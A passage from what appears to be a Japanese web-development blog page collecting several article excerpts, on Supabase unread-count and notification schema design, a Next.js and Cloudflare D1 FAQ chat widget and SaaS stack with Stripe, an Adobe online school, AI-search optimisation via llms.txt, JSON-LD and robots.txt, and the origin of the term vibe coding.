メッセージ」の組み合わせを1行ずつ追加していく方式です。主キーをその2列にすることで、同じ組み合わせが二重に入ることを構造的に防げます。 CREATE TABLE read_messages ( account_id UUID NOT NULL REFERENCES accounts(id) ON DELETE CASCADE, message_id UUID NOT NULL REFERENCES messages(id) ON DELETE CASCADE, read_at TIMESTAMPTZ NOT NULL DEFAULT now(), PRIMARY KEY (account_id, message_id) ); 未読数クエリで数え間違えやすい3点 未読数は「既読レコードが無いメッセージ」を数えれば求まる、と考えたくなります。しかしそれだけでは次の3つを全部拾ってしまいます。 自分が参加していないチャンネルのメッセージ 他人同士のDM 自分が投稿したメッセージ（自分の発言が自分の未読になる） 1と2は channel_members との結合で、3は投稿者の除外条件で落とします。論理削除済みのメッセージも数えないようにします。 -- チャンネルごとの未読数を取得 SELECT m.channel_id, COUNT(*) AS unread_count FROM messages m JOIN channel_members cm ON cm.channel_id = m.channel_id AND cm.account_id = (select auth.uid()) -- 参加しているチャンネルだけ LEFT JOIN read_messages r ON r.message_id = m.id AND r.account_id = (select auth.uid()) WHERE r.message_id IS NULL -- 既読レコードが無い = 未読 AND m.account_id <> (select auth.uid()) -- 自分の投稿は数えない AND m.deleted_at IS NULL -- 削除済みは数えない GROUP BY m.channel_id; この差は実際に数字として出ます。一般メンバーのAliceが general にだけ参加していて、役員限定 チャンネルには入っていない状態で両方のクエリを流すと、結果はこうなりました。 クエリgeneral役員限定問題参加判定なし・投稿者の除外なし21未参加チャンネルと自分の投稿を数えている上のクエリ（参加判定＋投稿者除外）1—なし auth.uid() を (select auth.uid()) と書いているのは書き癖ではありません。Supabase公式は、サブクエリで包むとPostgreSQLのinitPlan最適化が働き、行ごとではなくステートメントごとに1回だけ評価されると説明しています。公式のベンチマークでは179msから9msへ、94.97%の改善が報告されています（Supabase Docs: Row Level Security）。 テーブル肥大化への備え この方式はシンプルですが、read_messages は「メンバー数 × メッセージ数」で増えます。10人のチームが1日300メッセージやり取りすると、1年で約110万行です。運用開始前に「一定期間より古い既読レコードは消す」という方針を決めておくと安全です。 もう一つの選択肢が「最後に読んだメッセージIDだけを記録する」方式です。行数はメンバー数×チャンネル数に抑えられますが、メッセージの削除・編集や、途中まで読んで戻る操作への対応が複雑になります。小規模チームなら既読レコード積み上げ方式のほうが実装がシンプルです。より小さな単一テーブル設計でログを扱う例としては、FAQチャットウィジェットをCloudflare D1で実装する方法が参考になります。 通知の設計パターン 通知テーブルと重複防止 通知は「誰に・何の・どのメッセージに関する通知か」を記録します。種類（メンション・DM・リアクションなど）はカラムで区別するのが基本です。 ここで見落としやすいのが重複防止の制約です。制約が無いと、通知生成処理がリトライされたときやWebhookが二重に届いたときに、まったく同じ通知が2件並びます。実際に制約の無いテーブルへ同じ通知を2回INSERTすると、どちらも成功して2行入りました。 ### [FAQチャットウィジェットを自作する方法【Next.js×Cloudflare D1】](https://codequest.work/chat-widget-nextjs-cloudflare/) はじめに SaaSにチャットサポートを導入しようとすると、IntercomやZendeskといった外部サービスが真っ先に候補に挙がります。ただ、月額$55〜$74という費用は、ユーザーがまだ数十人という個人開発フェーズでは現実的ではありません。 この記事では、Next.js + Cloudflare Workers + D1 を使ったFAQチャットウィジェットの設計と実装の考え方を解説します。外部サービスなしで、コストほぼゼロ・データ外部送信なし・Core Web Vitalsへの影響なしを実現する構成です。※技術スタック全体の選定理由は Next.js×Cloudflare Workers×D1でSaaS開発する方法 で解説しています。本記事はそのうちチャットウィジェット部分の実装ハンズオン編です。 完成イメージと設計方針 動作の仕組み ユーザーが入力 ↓ クライアント側でキーワードマッチング（APIコールなし） ↓ ↓ マッチあり マッチなし → 即座に回答表示 → バックグラウンドでログ送信 ↓ Cloudflare Workers → D1に保存 ↓ 管理画面でログ確認 → FAQを改善 設計の核心は「キーワードマッチングはクライアント完結、未マッチのみサーバーへ」です。マッチした場合はAPIコールが発生しないため、レイテンシがゼロになります。 なぜAIではなくキーワードマッチングか：Claude APIやOpenAI APIを使えば回答品質は上がりますが、コストが積み重なり、回答にブレが生じます。SaaSのFAQは「常に同じ正確な回答を返す」ことが重要なので、キーワードマッチングの方が適しています。AI統合は未マッチが多くなってきた段階で段階的に導入するのが現実的です。 ステップ1：FAQルールの設計 FAQルールはTypeScriptのオブジェクトとして管理します。CMSは不要です。キーワードの配列と、対応する回答キーをマッピングするシンプルな構造です。 ※以下はサンプルコードです。実際のキーワードや回答は自身のサービスに合わせて定義してください。 // faq-rules.ts（サンプル） type FAQRule = { keywords: string[] // マッチさせるキーワード一覧 answerKey: string // 回答を引き出すキー } const FAQ_RULES_JA: FAQRule[] = [ { keywords: ['料金', '値段', 'いくら', 'プラン'], answerKey: 'pricing', }, { keywords: ['解約', 'キャンセル', '退会'], answerKey: 'cancel', }, // 実際のサービスに合わせてルールを追加する ] 回答テキストは別ファイルで answerKey をキーにした辞書として管理します。ルールと回答を分離することで、文言の修正がしやすくなります。日本語と英語でルールセットを分けることで、それぞれの言語に最適化したキーワードを設定できます。 ステップ2：マッチングロジックの設計 マッチングのコアは非常にシンプルです。入力文字列をノーマライズ（正規化）してから、キーワードと部分一致するか確認します。 ノーマライズとは、大文字/小文字の違いや余分なスペースを除去して比較しやすい形に変換することです。「料金」と「 料金 」が同じ意味で扱えるようになります。 ※以下は処理の流れを示すサンプルです。 // matcher.ts（サンプル） function findAnswer(input: string, rules: FAQRule[]): string | null { const normalized = input.toLowerCase().replace(/\s+/g, '') const matched = rules.find((rule) => rule.keywords.some((kw) => normalized.includes(kw.toLowerCase())) ) return matched?.answerKey ?? null } クライアント側で処理するメリットは3点です。APIコールが不要なのでレイテンシがゼロ、サーバーへの負荷もゼロ、オフライン環境でも動作します。ルールが100件程度であればJSバンドルサイズへの影響もほぼ無視できます。 ステップ3：未マッチログをD1に保存する マッチしなかった入力はCloudflare WorkersのAPIでD1に記録します。このログが「FAQを育てる」ための最重要データになります。※サーバー・DB・APIの基本構成は バックエンドとは？サーバー・DB・APIの全体像、本格的なDB設計パターンは チームツールのDB設計パターン も参考になります。 D1のスキーマ設計 ※以下はスキーマ設計のサンプルです。 -- サンプルスキーマ CREATE TABLE IF NOT EXISTS chat_unmatched_logs ( id INTEGER PRIMARY KEY AUTOINCREMENT, user_input TEXT NOT NULL, locale TEXT NOT NULL DEFAULT 'ja', page_path TEXT, created_at TEXT NOT NULL DEFAULT (datetime('now')) ); page_path を記録しておく理由は、「料金ページで料金以外の質問が多い」といったページ単位の傾向を把握するためです。どのページで何が未マッチになっているかがわかると、FAQ改善の優先度が立てやすくなります。 未マッチ時のログ送信 未マッチが発生したとき、クライアントからAPIへログを送信します。ポイントは fire-and-forget（送りっぱなし）方式にすることです。ログ送信の失敗をユーザーのUXに影響させないために、エラーは握りつぶします。 ※以下はfetch処理のサンプルです。 // 未マッチ時のログ送信（サンプル） fetch('/api/chat-log', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ user_input: input, locale, page_path: pathname }), }).catch(() => {}) // エラーは無視。ログ失敗はUXに影響させない Cron Triggerで30日後に自動削除 Cron Triggerとは、定期的に処理を自動実行するCloudflareの機能です。個人情報に近いデータを無期限に保持しないために、30日で自動削除する仕組みを入れます。wrangler.toml でスケジュールを設定し、Workerの scheduled ハンドラで削除クエリを実行します。 ステップ4：UIの設計ポイント Reactコンポーネントとして実装する際に、効果的だったUI上の工夫を3つ紹介します。 クイックアクションボタン テキスト入力欄の上に「料金について」「解約方法」といったボタンを並べます。自由入力よりもボタンタップの方がユーザーの心理的ハードルが低く、マッチ率が大幅に上がります。未マッチログが減る最も効果的な施策です。 セッション維持 ウィジェットの開閉状態を sessionStorage で保持します。ページ遷移してもチャット履歴と開閉状態が保たれるため、会話が途切れません。 // セッション維持のサンプル const [isOpen, setIsOpen] = useState(() => { return sessionStorage.getItem('chat_open') === 'true' }) 管理画面では非表示 /admin 配下のパスではウィジェットを非表示にします。管理者が自分自身のチャットを誤操作するのを防ぐシンプルな処置です。Next.jsの usePathname() フックで現在のパスを取得して判定します。 ステップ5：ログを活用してFAQを育てる 未マッチログを管理画面で一覧表示するAPIを用意します。同じ質問が複数回未マッチになっているものを優先的にFAQルールに追加すると、効率的に改善できます。 実際にログを見ていると、想定外のキーワードが次々と見つかります。「領収書」「インボイス」「重い」「API連携」といったワードは、実際のログからでないと気づけないものです。「ありがとう」「助かった」といった感謝の言葉が未マッチとして溜まることもあり、そういった入力に対してポジティブな定型文を返すルールを追加するのも効果的です。 ログを見る→ルールに追加する→未マッチ率を下げる、このループがチャットウィジェットの本当の価値です。 コスト比較 手段月額コスト主な制約Intercom（スタータープラン）$74〜人数課金で増加Zendesk（Suiteチーム）$55〜エージェント数課金Crisp（Pro）$25〜無料枠はブランド表示あり自作（Cloudflare Workers + D1）$0〜数十円Workers無料枠：10万req/日、D1無料枠：5GB 個人開発の初期フェーズであれば、実質無料で運用できます。サイトのSEOやCore Web Vitalsのスコアが気になる方は、Direbase（ディレベース）で診断してみてください。外部スクリプトの読み込みによるパフォーマンスへの影響も確認できます。 まとめ 自作FAQチャットウィジェットの設計ポイントをまとめます。 マッチングはクライアント完結：APIコールなしでレイテンシゼロ。Core Web Vitalsに影響しない 未マッチのみD1に記録：fire-and-forget方式でUXに影響させない クイックアクションボタンを最優先：自由入力より先に設置することでマッチ率が上がる ログを育てる仕組みが本質：管理画面でログを確認→FAQルールに追加→未マッチ率を下げるループが価値を生む 外部サービスへの依存をなくすことで、データのコントロール・コスト・パフォーマンスのすべてで有利になります。将来的にAIを導入する場合も、「未マッチ時だけLLMにフォールバック」という形でこの基盤をそのまま活用できます。 関連記事 Next.js×Cloudflare Workers×D1でSaaS開発する方法【技術スタック解説】 — 本記事の上流。SaaS全体の技術選定を解説 チームツールのDB設計パターン【未読管理・通知・権限をSupabaseで実装】 — 本格的なDB設計パターンを学びたい方向け バックエンドとは？サーバー・DB・APIの全体像をわかりやすく解説 — Cloudflare Workers+D1の前提知識 Next.js + @react-pdf/renderer 日本語PDF生成ガイド — Next.js実装ハンズオンの別事例 よくある質問 Q. FAQルールが増えてきたらどう管理すればいいですか？ ルールが100件程度まではTypeScriptファイルでの管理で十分です。それ以上になってきたらJSONファイルに切り出すか、D1に移してAPIで取得する構成にするとよいです。WorkersのKV（Key-Valueストア）にキャッシュすることで、D1へのクエリ回数も減らせます。 Q. 管理画面のアクセス制限はどう実装しますか？ Cloudflare Access（無料プランあり）をAPIのサブドメインに設定するのが最もシンプルです。Googleアカウント認証と組み合わせることで、特定のメールアドレスのみアクセスを許可できます。 ### [Next.js×Cloudflare Workers×D1でSaaS開発する方法【技術スタック解説】](https://codequest.work/nextjs-cloudflare-workers-d1-saas/) はじめに 個人開発でSaaSを作るとき、「技術スタックをどう選ぶか」が最初の大きな悩みです。スケーラビリティ、コスト、開発速度——すべてを満たす構成はなかなか見つかりません。 この記事では、実際にDirebase（ディレベース）を開発した際に採用した Next.js × Cloudflare Workers × D1 の技術スタックを、学習者向けに解説します。なぜこの組み合わせを選んだのか、どう実装するのか、どこでハマったのかを具体的にまとめています。 技術スタック全体像 アーキテクチャ図 レイヤーホスティング使用技術役割フロントエンドVercelNext.js（App Router）＋TypeScript／Tailwind CSS＋shadcn/ui画面表示・SEOAPICloudflare WorkersHono＋TypeScriptビジネスロジック（fetchでフロントから呼び出す）データベースCloudflareD1（SQLite）永続化。Workersからバインディングで直接アクセス外部API—PageSpeed Insights API計測データの取得決済—Stripeサブスクリプション課金・Webhook フロントエンドはVercel、APIはCloudflare Workersという分離構成です。それぞれが得意な領域を担当することで、コストと開発速度の両方を最適化できます。サーバー・DB・APIの役割分担そのものを整理したい場合はバックエンドとは？サーバー・DB・APIの全体像もあわせてどうぞ。 技術選定の理由 技術役割選んだ理由Next.js (App Router)フロントエンドSSG/SSRの柔軟な切り替え、SEOメタタグ生成が簡単Cloudflare WorkersAPIサーバーコールドスタートなし、グローバル配信、無料枠が広いHonoWebフレームワークWorkers向けに設計された軽量フレームワーク、型安全なルーティングCloudflare D1データベースSQLiteベースで学習コスト低、WorkersとのバインディングがシンプルStripe決済実装の信頼性が高く、Webhook処理が堅牢VercelフロントホスティングNext.jsと親和性が最高、デプロイが自動化 コールドスタートとは、サーバーがリクエストを受け取る前に起動時間が発生する問題です。Cloudflare WorkersはJavaScriptをV8エンジン上で直接実行するため、この起動時間がほぼゼロです。AWS LambdaやCloud Functionsでは数百ms〜数秒かかることがある問題を回避できます。 モノレポ構成 モノレポとは、フロントエンドとAPIなど複数のアプリケーションを1つのGitリポジトリで管理する構成です。チーム開発ではTurborepoやNxがよく使われますが、個人開発ではシンプルな手動構成で十分です。 my-saas/ ├── apps/ │ └── web/ # Next.js フロントエンド │ ├── app/ │ │ └── [locale]/ # 多言語ルーティング（後述） │ ├── components/ # UIコンポーネント │ └── lib/ # ユーティリティ・翻訳・型定義 ├── packages/ │ ├── api/ # Cloudflare Workers API │ │ ├── src/ │ │ │ ├── routes/ # エンドポイント定義 │ │ │ ├── lib/ # ビジネスロジック │ │ │ └── middleware/ # 認証・バリデーション │ │ └── wrangler.toml # Cloudflare設定ファイル │ └── database/ │ ├── schema.sql # D1スキーマ定義 │ └── migrations/ # マイグレーションファイル ├── package.json └── tsconfig.json フロントとAPIを apps/ と packages/ で分けることで、責務が明確になります。個人開発であればこのくらいのシンプルな粒度が、保守しやすくちょうどよいバランスです。 Cloudflare D1の実践知見 D1はCloudflareが提供するSQLiteベースのデータベースです。Workers上から直接アクセスでき、接続管理が不要な点が大きな特徴です。 基本的な使い方 まず wrangler.toml にバインディングを設定します。バインディングとは、WorkersのコードからD1などのリソースに変数として直接アクセスする仕組みのことです。 # wrangler.toml [[d1_databases]] binding = "DB" # コード内でこの名前でアクセス database_name = "my-saas-db" database_id = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" Honoを使ったエンドポイントでは、以下のようにD1にアクセスします。 // packages/api/src/routes/users.ts import { Hono } from 'hono' type Bindings = { DB: D1Database } const app = new Hono<{ Bindings: Bindings }>() // ユーザー取得 app.get('/users/:id', async (c) => { const id = c.req.param('id') const user = await c.env.DB .prepare('SELECT * FROM users WHERE id = ?') .bind(id) .first() if (!user) { return c.json({ error: 'User not found' }, 404) } return c.json(user) }) マイグレーション管理 スキーマ変更は migrations/ フォルダにSQLファイルで管理し、Wranglerコマンドで適用します。 -- database/migrations/0001_create_users.sql CREATE TABLE IF NOT EXISTS users ( id TEXT PRIMARY KEY, email TEXT NOT NULL UNIQUE, plan TEXT NOT NULL DEFAULT 'free', stripe_customer_id TEXT, created_at INTEGER NOT NULL DEFAULT (unixepoch()) ); # ローカル環境への適用 wrangler d1 migrations apply my-saas-db --local # 本番環境への適用 wrangler d1 migrations apply my-saas-db 無料枠の実数（2026年8月時点） D1の無料枠は「クエリ数」ではなく読み書きした行数（rows）で計測されます。ここを取り違えると見積もりが大きくずれます。Cloudflare公式の料金ページに記載されている Workers Free の上限は次のとおりです。 項目Workers Free の上限Rows read（読み取り行数）500万行／日Rows written（書き込み行数）10万行／日ストレージ合計5GB テーブル設計そのものの考え方はチームツールのDB設計パターンで扱っています。上限はUTC 00:00にリセットされ、超過するとD1のAPIがエラーを返します。注意点は「1クエリ＝1カウント」ではないことで、インデックスの効かない SELECT はテーブル全体をスキャンして大量の rows read を消費します。無料枠で運用するなら、WHERE句に使う列へのインデックス作成が実質必須です。 良かった点・ハマった点 内容✅ 良かった点SQLiteの知識がそのまま使える。接続管理が不要で、バインディングで即アクセス可能✅ 良かった点無料枠が大きく、個人開発の初期フェーズはほぼコストゼロ（後述の実数を参照）⚠️ ハマった点SQLiteは型が緩い（例：INTEGER列に文字列を入れても通る）。アプリ側のバリデーションが必須⚠️ ハマった点複雑なJOINはレスポンスが遅くなる。クエリをシンプルに保つか、非正規化を検討する⚠️ ハマった点ローカルD1と本番D1はデータが別。本番データをローカルで試したい場合は手動エクスポートが必要 Stripe決済の実装ポイント SaaSにサブスクリプション決済を組み込む際、Stripeが事実上の標準です。Free / Entry / Basic / Proの4プランを想定した実装例を示します。 Checkout Sessionの作成 Checkout SessionはStripeのホスト型決済画面です。自前でカード入力フォームを実装する必要がなく、PCI DSSへの準拠もStripe側が担保してくれます。 // packages/api/src/routes/stripe.ts import Stripe from 'stripe' app.post('/create-checkout', async (c) => { const stripe = new Stripe(c.env.STRIPE_SECRET_KEY) const { planId, userId } = await c.req.json() const session = await stripe.checkout.sessions.create({ mode: 'subscription', payment_method_types: ['card'], line_items: [ { price: planId, // StripeダッシュボードのPrice ID quantity: 1, }, ], success_url: `${c.env.FRONTEND_URL}/dashboard?session_id={CHECKOUT_SESSION_ID}`, cancel_url: `${c.env.FRONTEND_URL}/pricing`, metadata: { userId }, // Webhookで使用する }) return c.json({ url: session.url }) }) Webhook処理と冪等性 冪等性（べきとうせい）とは、同じ操作を何回実行しても結果が変わらない性質のことです。Stripeのウェブフック（Webhook）はネットワーク障害時に同じイベントを複数回送信することがあります。そのため「1回目だけ処理し、2回目以降はスキップする」設計が必要です。 ### [Adobe Creative College｜Photoshop・Illustratorを独学できる公式無料スクール](https://codequest.work/adobe-creative-college-free-online-school/) デザインツールを学びたいと思ったとき、多くの人がYouTubeや書籍で独学をスタートします。でも、こんな経験はないでしょうか。 「何から手をつければいいかわからない」 「やり方はわかったけど、作品として仕上げる流れが掴めない」 「途中で止まったまま、アプリを開かなくなってしまった」 独学の最大の難点は、学ぶ順番と継続の仕組みがないことです。 Adobe公式が無料で運営するオンラインスクール 「アドビことはじめ クリエイティブカレッジ」は、Adobeが公式で運営する無料のオンラインスクールです。 対象はPhotoshop・Illustrator・Premiereの3ツール。初心者向けに設計されており、ツールの操作だけでなくデザインの考え方そのものから丁寧に学べる構成になっています。 受講条件はCreative Cloud有償メンバーであること。それだけで追加費用はかかりません。 学べるコースは全5種類 コース回数Photoshop 基礎編全20回Photoshop 実践バナー編全13回Illustrator 基礎編全19回Illustrator 実践印刷デザイン編全14回Premiere コース全12回 基礎編では操作の習得から作品づくりまでを一貫して学び、実践編ではバナーや印刷物など実際の現場に近い制作物に挑戦します。 学習スタイルが続けやすい設計になっている 週2回・約3ヶ月のオンライン講座で、ライブ受講できない場合もアーカイブで視聴できます。 特徴的なのはオフィスアワー（※）の存在。講師に直接質問できる時間が設けられており、独学で詰まりがちなポイントをその場で解消できます。全課題を終えると修了証明書も発行されるので、学習の区切りとモチベーション維持にもなります。 ※オフィスアワー：講師が質問を受け付ける専用の時間枠のこと。 申込について Adobe Creative Collegeは期ごとに新しい受講生を募集しています。開講期間・申込締切・カリキュラム詳細はAdobe公式ページで随時更新されているため、現在の募集状況はそちらで確認してください。 現在の募集情報をAdobe公式で確認する 講座で扱うPhotoshopやIllustratorが手元に無い状態では申し込めません。申込対象はCreative Cloud有償メンバーに限られるため、先に自分が使えるプランを契約しておく必要があります。 デザインの学び方は、一つじゃない 書籍・YouTube・スクール・公式講座。どれが正解かは人によって違います。 ただ、無料で・公式で・体系的に学べる機会はそう多くありません。Adobeツールを本格的に使いこなしたいと思っているなら、選択肢の一つとして検討する価値は十分あると思います。 よくある質問（FAQ） Q. Adobe Creative Collegeとは何ですか？ Adobe Creative Collegeは、Adobeが提供する無料のオンラインスクールです。Photoshop・Illustrator・Premiere Proなどの主要ツールの使い方を、プロのクリエイターが講師となって体系的に学べるプログラムです。期ごとに受講生を募集しており、ライブ授業とアーカイブ動画の両方で学習できます。 Q. Adobe Creative Collegeの受講に費用はかかりますか？ 受講自体は完全無料ですが、申込対象はCreative Cloud有償メンバーに限られます。Adobe公式は申込ページで「お申込対象者は、Creative Cloud有償メンバーとなります」と明記しており、有効なライセンスの確認が取れた時点で入校となります。契約がない場合は、先にプランを契約してから申し込む流れになります。なお、受講にはAdobeアカウントの作成と事前の申し込みが必要です。 Q. Photoshop・Illustratorの独学におすすめの学習方法は？ Adobe公式チュートリアルとAdobe Creative Collegeを軸に学習を進めるのが効率的です。公式チュートリアルは操作別に短い動画で学べるため、基本操作の習得に適しています。さらに実践力を高めるには、バナー制作やロゴ制作などの課題を自分で設定し、実際に作品を完成させることが重要です。Behanceで他のデザイナーの作品を参考にするのも効果的です。 ### [AI検索で引用されない？対策3つ【llms.txt・構造化データ・robots.txt】](https://codequest.work/ai-search-citation-llms-txt/) 「ChatGPTに自社名を聞いてみたら、一切出てこなかった」 Webサイト運営者からよく聞く話です。SEOはそれなりにやってきたつもりなのに、AI検索では存在しないも同然——そんな焦りを感じている方も多いのではないでしょうか。 最近は「AI出現率チェックツール」と呼ばれるサービスが登場し始めており、「自社がどれだけAI回答に登場するか」を計測しようという動きも出ています。気持ちはわかります。でも今の段階では、計測より対策が先です。 なぜなら、AI検索の回答は毎回変わります。同じ質問をChatGPTに投げても、今日と明日で違う結果が返ってくることはざらにあります。再現性が低い数字を追いかけるより、「引用されやすいサイトの条件を整える」ことに時間を使うほうが明らかにROIが高い。 その条件は、突き詰めると3つの対策に帰結します。 対策1：llms.txtを設置する（優先度は低い） 先に結論をお伝えします。この3つのうち、いま効果が見込めるのは対策2（構造化データ）と対策3（robots.txt）です。llms.txtについては、2026年8月時点で「自社のAIがllms.txtを読んでいる」と公式に表明したAI提供元は1社もありません。Googleは公式ドキュメントで「Google検索は使用していない」と明記しています。以下は仕様と書き方の解説として読み、着手は対策2・3を終えたあとで構いません。根拠と実測データはAIに自社サイトを正しく認識させる方法｜llms.txtとは何かに詳しくまとめています。 llms.txtとは何か Webの仕組みに少し詳しい方なら、robots.txtはご存知のはずです。「このページはクローラーに見せる/見せない」を制御するファイルです。その後、sitemap.xmlが普及し、「サイト内にどんなページがあるか」を検索エンジンに伝える標準的な手段になりました。 llms.txtは、この発想を生成AI向けに広げようという「提案」です。robots.txtやsitemap.xmlのように標準化団体が採用した仕様ではなく、2026年8月時点でも一提案の段階にとどまっている点は、先に押さえておいてください。 2024年、AI研究機関「Answer.AI」のJeremy Howard氏が提唱したこの仕様は、「AIクローラーがサイトをより正確に理解するための要約ガイド」として機能します。 通常のWebページはHTMLで書かれており、ナビゲーションメニュー、広告、フッター、JavaScriptコードなど、大量の「ノイズ」が含まれています。人間はそのノイズを視覚的に無視できますが、AIが情報を抽出しようとすると余計な要素が邪魔をします。 llms.txtはMarkdown形式で書かれた、シンプルな「サイト案内書」です。AIに「うちのサイトはこういう構成で、重要なページはこれです」と直接伝えることができます。 llms.txtの書き方 ファイルはサイトルート（https://example.com/llms.txt）に設置します。以下が基本的な構成です。 # サービス名 / 運営会社名 > サービスの概要を1〜2文で説明します。ターゲットユーザーや提供価値を簡潔に。 ## 主要ページ - [サービストップ](https://example.com/): サービス全体の概要 - [料金プラン](https://example.com/pricing/): 各プランの詳細と比較 - [使い方ガイド](https://example.com/how-to-use/): 初期設定から活用方法まで - [よくある質問](https://example.com/faq/): ユーザーからの質問と回答 - [事例・実績](https://example.com/case-studies/): 導入事例と成果 ## Optional - [ブログ](https://example.com/blog/): Web制作・SEOに関する技術記事 - [運営会社情報](https://example.com/about/): 会社概要・スタッフ情報 ポイントは「厳選」することです。全ページを列挙するのではなく、サービスの理解に直結する10〜20ページに絞ります。AIに「このサイトで最も重要な情報はここにある」と伝えることが目的なので、不要なページを含めると逆効果です。 llms-full.txtと.well-known/llms.txtも設定する 実はllms.txtには派生形があります。 llms-full.txtは詳細版で、各ページの本文内容まで含めた完全版です。ページ数が多いサイトや、コンテンツの深さをAIに伝えたい場合に有効です。 また、/.well-known/llms.txtというパスに置く案も提案されています。robots.txtの.well-known版と思ってください。ただしこのパスを参照すると公表しているAIクローラーは確認できていません。サーバーの.htaccessやnginx.confでリダイレクトを設定すること自体は数分で終わりますが、対応クローラーが増えるという保証はない、という前提で扱ってください。 対策2：構造化データ（JSON-LD）を充実させる なぜ構造化データがAI引用に効くのか 「構造化データ」とは、ページの内容を機械が読みやすい形式で記述したメタ情報です。JSON-LDはその記述形式のひとつで、現在最も推奨されている方法です。 構造化データがAI引用に効く根拠は、統計よりも仕組みの側にあります。Googleは生成AI機能向けの公式ガイドで、AI向けの特別なファイルは不要としつつ、構造化データについては「ページの内容を理解する助けになる」として引き続き推奨しています。AI向けの独自施策ではなく、通常のSEOとして積み上がる資産である点が、llms.txtとの決定的な違いです。 これには理由があります。ChatGPTやPerplexityは、Webページを処理する際に構造化データを「信頼性の高い情報源」として扱います。HTMLの本文テキストは解釈の余地があいまいですが、JSON-LDで明示された情報はそのまま構造的なデータとして処理されるため、回答生成に使いやすいのです。 優先的に実装すべきスキーマ FAQPage（最優先） Q&Aペアの形式で書かれた情報は、AIの回答形式と相性が良く、そのまま引用されやすい構造です。なおGoogle検索のFAQリッチリザルトは2026年5月7日で終了しているため、狙いは検索結果の装飾ではなく、質問と回答の対応関係を機械に伝えることにあります。マークアップを残しても害はありません。 <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "FAQPage", "mainEntity": [ { "@type": "Question", "name": "llms.txtはどこに設置すればいいですか？", "acceptedAnswer": { "@type": "Answer", "text": "サイトルート（https://example.com/llms.txt）に設置します。ただし2026年8月時点で、llms.txtを読むと公式に表明したAI提供元はありません。" } }, { "@type": "Question", "name": "robots.txtでAIクローラーをブロックするとどうなりますか？", "acceptedAnswer": { "@type": "Answer", "text": "AIクローラーがページを取得できなくなるため、AI検索で引用される機会が大幅に減ります。公開ページはAllow設定にすることを推奨します。" } } ] } </script> HowTo（※Google検索では廃止済み） HowToリッチリザルトは2023年8月の告知以降に段階的に廃止され、現在はデスクトップ・モバイルとも表示されません。新規に実装する意味は薄いため、手順コンテンツは番号付きリストと明確な見出しで構造を示すほうを優先してください。生成AIは本文の構造からも手順を読み取れます。 WebApplication / Organization サービスや運営会社の基本情報を構造化します。AIが「このサービスは何をするものか」「誰が運営しているか」を正確に理解するための土台です。 BreadcrumbList サイト内の階層構造を示します。AIがサイトの構造を把握するのに役立ちます。 OGPの設定を全ページに個別で行う 構造化データと合わせて重要なのが、OGP（Open Graph Protocol）タグの設定です。AIはページのメタ情報も参照するため、全ページに個別のog:title・og:description・og:imageを設定することが基本になります。 特にog:imageにはwidthとheightを明示してください。 <meta property="og:title" content="ページ固有のタイトル" /> <meta property="og:description" content="このページが扱う内容の要約（120〜160文字程度）" /> <meta property="og:image" content="https://example.com/images/ogp-page-name.jpg" /> <meta property="og:image:width" content="1200" /> <meta property="og:image:height" content="630" /> <meta name="twitter:card" content="summary_large_image" /> 対策3：robots.txtでAIクローラーを「歓迎」する 多くのサイトがAIクローラーをブロックしている 2023年以降、プライバシーやコンテンツ利用への懸念から、robots.txtでAIクローラーをブロックするサイトが急増しました。気持ちはわかりますが、これはトレードオフです。 ブロックすれば、AI検索で引用されなくなります。 自社サイトを学習データに使われたくない、という判断もあり得ます。しかしAI検索でビジネスの認知を取りたいなら、公開している情報についてはAIクローラーにアクセスを許可する設定が基本です。 推奨するrobots.txt設定 User-agent: GPTBot Allow: / Disallow: /wp-admin/ Disallow: /wp-login.php User-agent: OAI-SearchBot Allow: / User-agent: ChatGPT-User Allow: / User-agent: ClaudeBot Allow: / User-agent: Claude-SearchBot Allow: / User-agent: Claude-User Allow: / User-agent: PerplexityBot Allow: / User-agent: Perplexity-User Allow: / User-agent: Applebot Allow: / # Applebot-Extended は「学習利用を拒否する」ための専用トークン。 ### [vibe coding とは？原義と実務用法の違い・AIのコードを受け入れる判定手順](https://codequest.work/vibe-coding/) vibe coding（バイブコーディング）とは、AIが生成したコードの差分を読まずに受け入れながら開発を進めるスタイルのことです。提唱者が2025年2月2日のX投稿で使った原義は、「差分をもう読まない」ことそのものを指していました。 ところが、この語は広まる過程で意味が広がりました。Collins Dictionaryが2025年11月6日にWord of the Year 2025として選んだときの定義は「自然言語で促されたAIによるコード記述」で、差分を読むかどうかには触れていません。原義・辞書の定義・現場での使われ方の3つは、いま別のものを指しています。 そのため実務者にとっての本当の問いは「vibe codingとは何か」ではなく、「AIが書いたコードを、どこまで読まずに受け入れてよいか」になります。本記事はこの問いに、その場で実行できる4つのゲートで答えます。掲載しているコマンドと出力はすべて、筆者の手元（macOS／Node.js v23.9.0／npm 10.9.2／git 2.50.1、2026年8月2日実行）で合格・不合格の両方向を実行して確認したものです。 vibe coding とは何か — 原義と辞書の定義はずれている vibe codingという語には、少なくとも3つの層があります。提唱者の原義、辞書に載った定義、そして現場で実際にそう呼ばれているもの。この3つを混ぜたまま議論すると話がかみ合いません。順に切り分けます。 原典 — 2025年2月2日のX投稿に書かれていたこと 提唱者はAndrej Karpathy（アンドレイ・カーパシー）氏。2025年2月2日のX投稿が初出です。X公式のoEmbed APIとInternet Archiveのスナップショットの両方で本文冒頭を照合したところ（2026年8月2日確認）、次の文言で始まっていました。 There's a new kind of coding I call "vibe coding", where you fully give in to the vibes, embrace exponentials, and forget that the code even exists. It's possible because the LLMs (e.g. Cursor Composer w Sonnet) are getting too good. （訳）vibe codingと呼ぶ新しい種類のコーディングがある。完全に雰囲気に身を委ね、指数関数的な進歩を受け入れ、コードが存在することすら忘れる。LLM（たとえばSonnetを載せたCursor Composer）が良くなりすぎたので可能になった。 この投稿はXのlong postで、公式APIから逐語で取得できるのは冒頭280字までです。以降の部分は一次ソースとして取得できなかったため、ここからは学術論文が引用している形での二次引用として示します。Sarkar & Drososの論文 Vibe coding: programming through conversation with artificial intelligence（arXiv:2506.23253）の参考文献に、次の文言が収録されています。 I "Accept All" always, I don't read the diffs anymore. When I get error messages I just copy-paste them in with no comment, usually that fixes it. The code grows beyond my usual comprehension … It's not too bad for throwaway weekend projects, but still quite amusing. （訳）私はいつも「Accept All」を押す、差分はもう読まない。エラーメッセージが出たらコメントなしでそのまま貼り付ける、たいていそれで直る。コードは自分の理解を超えて育っていく……捨ててよい週末プロジェクトならそれほど悪くはない、まあ愉快ではあるが。 